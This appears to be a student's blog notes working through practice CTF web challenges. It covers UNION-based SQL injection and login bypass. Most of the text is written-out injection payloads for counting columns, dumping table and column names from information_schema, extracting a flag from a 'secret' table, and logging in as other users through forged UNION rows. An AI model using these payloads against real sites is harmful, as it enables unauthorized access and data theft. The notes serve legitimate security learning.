1. Review
SQL Injection 1
It’s essential to know what happens after identification/authentication and what results are returned when a
SELECT statement is executed.Only then can you study various approaches.
Make sure to build it, test it, practice with it, and research it thoroughly.
SQL Injection 2
→ Methods of data extraction
SELECT * FROM board WHERE idx='_____' — the part after this can be modified.By using
UNION, you can execute another SELECT statement.SELECT statement, specify the column names you want to sort by.(You can also use index numbers instead of column names.)
Homework
-
Review Union SQL Injection
-
Display only Doldol's data (Show only one record that belongs to Doldol)
-
CTF Challenge
-
Web Development
-
Login
-
Sign Up
-
My Page (in progress)
-
Bulletin Board (to do)
-
1. SQL Injection 1
1) Finding the SQL Injection point
Enter Adminer%' and '1%'='1 to check if any data is returned.
2) Finding the number of columns
Entering Adminer%' order by 1# through 4# returns results.
From 5# onwards, no results are returned, indicating that there are 4 columns.
3) Finding the position of the displayed column
Enter: Adminer%' union select 1,2,3,4#
5) Finding table names
Enter:
Adminer%' union select 1, table_name, 3, 4 from information_schema.tables where table_schema='sqli_1'#
6) Finding column names
Enter:
Adminer%' union select 1, column_name, 3, 4 from information_schema.columns where table_name='flag_table'#
Enter:
Adminer%' union select 1, column_name, 3, 4 from information_schema.columns where table_name='plusFlag_Table'#
2. SQL Injection 2
1) Finding the SQL Injection point
Enter normaltic%' and '1%'='1 to check if any data is returned.
2) Finding the number of columns
Entering Adminer%' order by 1# through 6# returns results.
From 7# onwards, no results are returned, indicating that there are 6 columns.
3) Finding the position of the displayed columns
Enter:
normaltic%' union select 1, 2, 3, 4, 5, 6#
4) Checking the database name
Enter:
normaltic%' union select 1, 2, 3, 4, 5, database()#
5) Finding table names
Enter:
normaltic%' union select 1, 2, 3, 4, 5, table_name from information_schema.tables where table_schema='sqli_5'#
2-1) Finding the SQL Injection point
Enter normaltic%' and '1%'='1 to check if any data is returned.
2-2) Finding the number of columns
Entering Adminer%' order by 1# through 6# returns results.
From 7# onward, no data is returned, indicating that there are 6 columns.
2-3) Finding the position of the displayed columns
Enter:
normaltic%' union select 1,2,3,4,5,6#
I can confirm that 1 shows the input value and 6 shows info
2-4) Checking the database name
Enter:
normaltic%' union select 1,2,3,4,5,database()#
I can find that the database name is sqli_5.
2-5) Finding table names
Enter:
normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' order by 1#
normaltic%' union select 1,2,3,4,5,table_name from information_schema.tables where table_schema='sqli_5' order by 2#
I can find a table named secret..
2-7) Displaying data
Enter:
normaltic%' union select 1,2,3,4,5,flag from secret#
But this also doesn't work.
3. Login Bypass 3
1) Finding the SQL Injection point
-
doldol' and '1'='1/dol1234: Login successful -
doldol' or '1'='1/dol1234: Login failed -
doldol'#/dol1234: Login successful -
doldol'#/1234: Login failed
AND and comments are usable.
Password must match to log in.
2) Finding the number of columns
-
doldol' order by 1#,2#: Login works -
doldol' order by 3#: Error
So, there are 2 columns—likely ID and Password.
3) Login test
-
1' union select 'doldol',dol1234/dol1234: Login successful -
1' union select 'doldol','1234/1234: Login successful
4) Logging in as normaltic3
-
1' union select 'normaltic3','1234/1234: Login successful
4. Login Bypass 4
1) Finding the SQL Injection point
-
doldol' and '1'='1/dol1234: Login successful -
doldol' or '1'='1/dol1234: Login failed -
doldol'#/dol1234: Login successful -
doldol'#/1234: Login failed
AND and comments are usable.
Password must match to log in.
2) Finding the number of columns
-
doldol' order by 1#,2#: Login works -
doldol' order by 3#: Error
So, there are 2 columns—likely ID and Password.
3) Login test
-
1' union select 'doldol',dol1234/dol1234: Login failed -
1' union select 'doldol','1234/1234: Login failed
Possibly the password is being hashed and can't be matched in plaintext.
UPDATE table SET Password = MD5(Password) WHERE ID!=[specified index]UPDATE users SET password = SHA('secret_password') WHERE ....;4) Login using normaltic4
5. Login Bypass 5
1) Finding the SQL Injection point
-
doldol' and '1'='1/dol1234: Login successful -
doldol' or '1'='1/dol1234: Login failed -
doldol'#/dol1234: Login successful -
doldol'#/1234: Login failed
AND and comments are usable.
Password must match to log in.
2) Finding the number of columns
-
doldol' order by 1#,2#,3#: Login works -
doldol' order by 4#: Error
So, there are 3 columns—likely ID, Password, and something else.
3) Login test
-
1' union select 'doldol',dol1234/dol1234: Login failed -
1' union select 'doldol','1234/1234: Login failed
댓글 없음:
댓글 쓰기